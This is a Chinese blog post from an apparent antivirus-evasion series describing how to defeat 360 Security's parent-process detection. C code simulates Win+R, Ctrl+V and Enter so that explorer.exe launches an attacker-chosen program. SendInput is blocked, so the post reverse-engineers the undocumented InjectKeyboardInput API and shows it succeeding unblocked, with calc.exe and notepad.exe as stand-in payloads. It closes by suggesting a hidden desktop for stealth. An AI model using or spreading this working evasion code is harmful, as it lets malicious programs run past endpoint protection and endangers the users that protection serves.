从零开始的免杀生活-番外-进程链欺骗
0x00.序
针对某60,因为某60在ProcessObcallback 内核回调中 进行了父进程pid的获取以及检测 所以如果我们单纯的使用我们自己编译的文件调用一些敏感的api 如:危险注册表的操作,重要目录的修改,重点Com的调用 都会触发拦截。
针对这种情况我们称为 父进程检测
经过分析以及测试 我们知道以下的规则
explorer.exe(白文件) -> hack.exe(灰文件) -> 敏感操作 == 拦截
explorer.exe(白文件) -> safe.exe(白文件) -> 敏感操作 == 放行
这里需要说明 某些微软的系统文件可以进行危险操作的 虽然是白文件但是特定目录 特定的hash都被360给记录下来了,所以如果上述的safe是例如reg,cerutil等已经被利用烂了的白文件的话 就算是全进程链都是白的 这个操作他还是会拦截的,所以需要对这步进行绕过 如修改目录,修改文件名啥的.
0x01.模拟鼠标键盘
在windows下微软提供了许多api给我们用来模拟点击 例如SendInput,keybd_event,mouse_event等等 我们简单的用SendInput来写一个模拟实现按下 Win+r -> ctrl+v -> Enter 这个操作并事先置剪切版内容为我们需要执行的白文件,这里我们就用calc来
通过MSDN文档来看这个SendInput的api调用十分简单
只需要三个参数,主要都是围绕第二个参数INPUT这个结构体来的 根据文档我们就能写出以下的代码
#include <windows.h>
int main() {
//修改剪切板
TCHAR szText[] = L"calc.exe";
if (!OpenClipboard(NULL)) {
return 0;
}
EmptyClipboard();
HANDLE hData = GlobalAlloc(GMEM_MOVEABLE, sizeof(szText));
LPWSTR pData = (LPWSTR)GlobalLock(hData);
CopyMemory(pData, szText, sizeof(szText));
GlobalUnlock(hData);
SetClipboardData(CF_UNICODETEXT, hData);
CloseClipboard();
INPUT inputs[4] = {};
// 模拟按下Win+r
inputs[0].type = INPUT_KEYBOARD;
inputs[0].ki.wVk = VK_LWIN;
inputs[1].type = INPUT_KEYBOARD;
inputs[1].ki.wVk = 'R';
inputs[2].type = INPUT_KEYBOARD;
inputs[2].ki.wVk = 'R';
inputs[2].ki.dwFlags = KEYEVENTF_KEYUP;
inputs[3].type = INPUT_KEYBOARD;
inputs[3].ki.wVk = VK_LWIN;
inputs[3].ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(4, inputs, sizeof(INPUT));
Sleep(500);
// 模拟按下ctrl+v
inputs[0].type = INPUT_KEYBOARD;
inputs[0].ki.wVk = VK_CONTROL;
inputs[1].type = INPUT_KEYBOARD;
inputs[1].ki.wVk = 'V';
inputs[2].type = INPUT_KEYBOARD;
inputs[2].ki.wVk = 'V';
inputs[2].ki.dwFlags = KEYEVENTF_KEYUP;
inputs[3].type = INPUT_KEYBOARD;
inputs[3].ki.wVk = VK_CONTROL;
inputs[3].ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(4, inputs, sizeof(INPUT));
Sleep(500);
// 模拟按下回车
INPUT enterKey[2] = {};
enterKey[0].type = INPUT_KEYBOARD;
enterKey[0].ki.wVk = VK_RETURN;
enterKey[1].type = INPUT_KEYBOARD;
enterKey[1].ki.wVk = VK_RETURN;
enterKey[1].ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(2, enterKey, sizeof(INPUT));
}
然而我们在核晶环境下运行会发现什么都没有发生,难道是我们代码写错了? 其实并不是 而是360拦截了
实际上我们能想到的普通的方法 360的开发人员肯定也想的到,还有一直就是利用SendMessage直接给explorer发送消息实现模拟点击和模拟按键 不过 360也已经进行了hook拦截 难道就没有其他办法了?
0x02.峰回路转
在win10 下的user32.dll中有两个未公开的API
InjectKeyboardInput
和InjectMouseInput
这两个较为冷门的api,360并没有进行拦截 不过因为是未公开的我们在网上找不到任何资料,只能通过逆向来猜测其参数
可以看到他实际上是调用win32u.dll下的NtUserInjectMouseInput
然后win32u底下就是一个syscall 并不知道实际是几个参数的 通过搜索引擎检索 在mingw下看到一个def文件发现
@8 那大概率是有两个 4字节的指针
但我们并不知道他是什么结构的 我们继续搜索 在github上发现一个项目上有使用这个api的代码
https://github.com/SamuelTulach/InjectMouseInputExample
这下好了有借鉴(抄袭)的来源了 直接用就行
但是他这只有InjectMouseInput
第一个参数的结构体,于是继续搜索 发现 windows的sdk头文件里有函数的定义
所以我们知道了第一个参数为一个结构体,第二个参数是按几次的意思
typedef struct tagKEYBDINPUT {
WORD wVk;
WORD wScan;
DWORD dwFlags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KEYBDINPUT, *PKEYBDINPUT, FAR* LPKEYBDINPUT;
知道结构之后我们就可以利用啦 代码:
typedef LONG(WINAPI *InjectKeyboardInputT)(
KEYBDINPUT
, UINT
);
InjectKeyboardInputT InjectKeyboardInput = (InjectKeyboardInputT)GetProcAddress(LoadLibraryA("user32.dll"), "InjectKeyboardInput");
int press(){
//模拟WIN+R
KEYBDINPUT a;
a.wVk = VK_LWIN;
a.wScan = VK_LWIN;
a.dwFlags = 0;
a.time = 0;
a.dwExtraInfo = 0;
InjectKeyboardInput(a, 1);
KEYBDINPUT b;
b.wVk = 0x52;
b.wScan = 0x52;
b.dwFlags = 0;
b.time = 0;
b.dwExtraInfo = 0;
a.dwFlags = KEYEVENTF_KEYUP;
InjectKeyboardInput(b, 1);
b.dwFlags = KEYEVENTF_KEYUP;
InjectKeyboardInput(a, 1);
InjectKeyboardInput(b, 1);
Sleep(500);
//置剪切板
TCHAR szText[] = L"notepad.exe";
if (OpenClipboard(NULL)) {
EmptyClipboard();
HANDLE hData = GlobalAlloc(GMEM_MOVEABLE, sizeof(szText));
LPWSTR pData = (LPWSTR)GlobalLock(hData);
CopyMemory(pData, szText, sizeof(szText));
GlobalUnlock(hData);
SetClipboardData(CF_UNICODETEXT, hData);
CloseClipboard();
}
//模拟CTRL + V
a.wVk = VK_LCONTROL;
a.wScan = VK_LCONTROL;
a.dwFlags = 0;
InjectKeyboardInput(a, 1);
Sleep(500);
b.wVk = 'V';
b.wScan = 'V';
b.dwFlags = 0;
a.dwFlags = KEYEVENTF_KEYUP;
InjectKeyboardInput(b, 1);
b.dwFlags = KEYEVENTF_KEYUP;
InjectKeyboardInput(a, 1);
InjectKeyboardInput(b, 1);
//模拟Enter键
a.wVk = VK_RETURN;
a.wScan = VK_RETURN;
a.dwFlags = 0;
InjectKeyboardInput(a, 1);
a.dwFlags = KEYEVENTF_KEYUP;
InjectKeyboardInput(a, 1);
}
成功执行了,且没有任何拦截,且父进程是explorer.exe
0x03.终
该过父进程拦截的方法 也存在的局限性 比如 模拟点击这种行为就已经是很不正常的行为了 不够隐蔽,后续可以考虑利用CreateDesktop在其他桌面进行这样的操作。。